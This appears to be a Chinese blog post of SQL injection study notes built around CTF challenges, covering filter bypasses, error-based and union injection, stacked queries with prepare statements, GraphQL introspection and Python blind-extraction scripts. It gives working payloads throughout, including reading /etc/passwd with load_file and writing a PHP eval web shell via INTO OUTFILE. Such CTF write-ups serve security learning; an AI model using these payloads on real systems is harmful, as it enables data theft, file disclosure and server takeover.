SQL进阶学习

1.[NISACTF 2022]join-us  sql报错注入和联合注入

过滤:
as
IF
rand()
LEFT
by
update
=
substring
handler
union
floor
benchmark
COLUMN
UPDATE
&
sys.schema_auto_increment_columns
&&
'1'='1'
database
case
AND
right
CAST
FLOOR
left
updatexml
DATABASES
BENCHMARK
BY
sleep
DATABASE
insert
anandd
ascii
CAST()

其实一开始想到的是布尔盲注,因为输入1会返回txw4ever,输入0返回空白,但是禁用了ascii函数,禁用了updatexml函数,但是可以使用extractvalue函数。

database被禁,所以可以考虑用访问一个不存在的数据库来返回数据库

1'||(select * from aa)#或者将||换成or,爆出sqlsql库。


-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#
爆出output表

-1' || extractvalue(1,concat(0x5c,(select*from (select*from output a join output b)c)))#
爆出data列名

-1' || extractvalue(1,mid(concat(0x7e,(select data from output)),1,30))#

-1' || extractvalue(1,mid(concat(0x7e,(select data from output)),10,40))#

由于as也被过滤,无列名注入可以用join 连接

首先自连接查询出来的表,没有using条件的结果是两张表的笛卡尔积,那么列名必然会有重复的部分,而主键是不允许重复的,所以查询出来会报错,也就把列名爆出来了

select*from (select*from output a join output b)c

2.mysql注入文件操作(root权限)

方法一:

mysql中的load_file函数,允许访问系统内任意文件并将内容以字符串形式返回,不过需要高权限,且函数参数要求文件的绝对路径,绝对路径猜测是/var/www/html/flag.php

构造payload:

0 and updatexml(1,concat('~',(select(database())),'~'),1)%23 

0 and updatexml(1,concat('~',(select(user())),'~'),1)%23 
爆出root用户

0 union/**/select 1,load_file("/var/www/html/flag.php"),3,4# 

0 Union select 1,load_file("/etc/passwd")--+

方法二:

写入函数为into outfile()
INTO OUTFILE()函数将自定义字符串写入指定文件中 (前提权限允许写入)

0 union/**/select 1,'<?php @eval($_POST["shell"]);?>',3,4 into outfile "/var/www/html/shell.php"

Union select 1,"<?php @eval($_POST[x])?>",1 into outfile '/var/www/html/Less-1/1.php'--+

堆叠注入

(1).[强网杯 2019]随便注

一般select等被禁用时,可以考虑堆叠注入

show databases//列出服务器可访问的数据库
show tables//显示该数据库内相关表的名称
show columns from tablename;//显示表tablename的字段、字段类型、键值信息、是否可以用null、默认值及其他信息。

查看表
?inject=1' ;show database --+

查看列
?inject= 1'; show columns from `words`--+ 或者
?inject= 1'; show columns from words--+
注意:这里使用的是反引号而不是双引号,这两个在Linux下不区分,但在Windows下区分。
单引号或者双引号主要用于字符串的引用符号。
数据库、表、索引、列和别名的引用符是反勾号。
有MySQL保留字作为字段的,必须加上反引号来区分,如果是数值,必须使用反引号

如何查看flag字段?

 方法一:16进制编码 prepare预处理

因为select被过滤了,所以先将select * from ` 1919810931114514 `进行16进制编码

再通过构造payload得

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

PREPARE name from '[my sql sequece]';   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name;  //删除预定义SQL        语句

变量定义预处理:
SET @tn = 'hahaha';  //存储表名
SET @sql = concat('select * from ', @tn);  //存储SQL语句
PREPARE name from @sql;   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句


或者(2)本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。

char(115,101,108,101,99,116)等价于select'
因此根据题目意思我们可以构建payload
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE st from @sqli;EXECUTE st;#

1';PREPARE st from concat('s','elect', ' * from `1919810931114514` ');EXECUTE st;#
  • prepare…from…是预处理语句,会进行编码转换。
  • execute用来执行由SQLPrepare创建的SQL语句。
  • SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值

 方法二:handeler

HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭

';handler `1919810931114514` open;handler `1919810931114514` read first#

 (2)newstar 堆叠注入

目的是帮助火华用户修改成绩,然后验证成绩才能得到flag   ,过滤 insert update select

方法一: 

利用预处理,然后concat拼接字符串绕过即可

username=1';set @sql=concat('up','date `score` set listen=123 where username="火华"');prepare sql_exe FROM @sql;execute sql_exe#

方法二:

用replace代替insert进行修改 

1';replace into score values("火华",400,400,400);#

用handler查看字段值 

username=1';handler `score` open;handler `score` read first#

删除 第一个火华 ,然后拿到flag

1';delete from score where listen=11;#

4.过滤了注释符,在sql中常用的注释符号有--、#、/*xxx*/、

可以再嵌套一个select在union select里,绕过注释符过滤

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
-1'%0cuniOn%0cselEct%0c1,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'),'3

为什么要改成-1呢,因为题目设了限制limit 1,只显示单行。输入1的话,前面语句会成功执行返回结果,会挤掉我们想要的结果。

第二种:优先级 and > or 空格利用的是()括号代替的

where username !='flag' and id = ''or(id=26)and'1'='1' limit 1
where (username !='flag' and id = '')or(id=26 and'1'='1') limit 1
因为or的存在,相当于要select两次,但又因为or左边是为0的,右边为id=26,所以只select右边
完整的sql语句变为:select id,username,password from ctfshow_user where id=26 limit 1

4.ord(character)函数是返回一个字符的ASCII码。可以替换ascii()

5.无列名注入   例题sql无列名注入

发现or,#都被过滤,空格会被消除,order by和information_schema都不能用

1'/**/group/**/by/**/22,'3
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
 得到数据库名:web1
查看表名
information_schema.tables用mysql.innodb_table_stats代替
用database_name 写数据库名
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

查询第三列的值
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

6.graph sql注入

          <?php
                error_reporting(0);
                $id = $_POST['id'];
                function waf($str)
                {
                    if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
                        return False;
                    } else {
                        return True;
                    }
                }

                function send($data)
                {
                    $options = array(
                        'http' => array(
                            'method' => 'POST',
                            'header' => 'Content-type: application/json',
                            'content' => $data,
                            'timeout' => 10 * 60
                        )
                    );
                    $context = stream_context_create($options);
                    $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
                    return $result;
                }

                if (isset($id)) {
                    if (waf($id)) {
                        isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
                        $res = json_decode(send($data));
                        if ($res->data->users_user_by_pk->name !== NULL) {
                            echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
                        } else {
                            echo "<b>Can't found it!</b><br><br>DEBUG: ";
                            var_dump($res->data);
                        }
                    } else {
                        die("<b>Hacker! Only Number!</b>");
                    }
                } else {
                    die("<b>No Data?</b>");
                }
                ?>

 一般考察的是,内省查询,就是本来只应该内部进行访问,但配置错误导致攻击者可以获得这些消息。

内省查询payload:
{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

在全部接口信息中找到ffffllllaaagggg_1n_h3r3_flag接口

尝试读到数据,进行模仿读取flag

{"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n","variables":null}

6。   order by 大小比较盲注

function filter($str){
      $filterlist = "/\(|\)|username|password|where|
      case|when|like|regexp|into|limit|=|for|;/";
      if(preg_match($filterlist,strtolower($str))){
        die("illegal input!");
        
$sql = "select * from admin where  username =
 '$username' and password = '$password' ";

$res = $conn -> query($sql);
if($res->num_rows>0){
  $row = $res -> fetch_assoc();
  if($row['id']){
     echo $row['username'];
  }
}else{

可以看见的是,过滤掉了一些关键字,然后是括号过滤掉了

判断出有3个列  id name passord
username='|| 1 order by 3#&password=111   
||1是为了让前边为真不然,查询结果只有一行不能比较

import requests
​
url="http://deeb3ee4-3bad-42a3-9b5e-c26051eab4ca.challenge.ctf.show/"
s=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
k=""
for i in range(1,40):
    for j in s:
        l=k+j
        data={
        "username":"' or 1 union select 1,2,'{}' order by 3#".format(l),
        "password":"12"
            }
            
        res=requests.post(url=url,data=data)
        if "</code>admin" in res.text:
            k=k+chr(ord(j)-1)
            print(k)
            break

7.利用报错注入和load_file()读文件 必须为绝对路径

过滤了 UNION SLEEP ' " OR - BENCHMARK 

用16进制编码绕过

import requests  
url="http://890ab957-10e9-4a14-885c-d3f0e80d4d26.challenge.ctf.show/index.php?search="
#读文件 /var/www/html/index.php
# for i in range(1,500):
#     u=url+"extractvalue(0x3c,concat(0x7e,(select substr(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870),{0},20))))".format(i)
#     r=requests.get(u)
#     print(r.text)

# 读文件/var/www/html/ctfshowflagyouneverknow.php
for i in range(1,500):
    u=url+"extractvalue(0x3c,concat(0x7e,(select substr(load_file(0x2f7661722f7777772f68746d6c2f63746673686f77666c6167796f756e657665726b6e6f772e706870),{0},20))))".format(i)
    r=requests.get(u)
    print(r.text)

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

El.十一

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值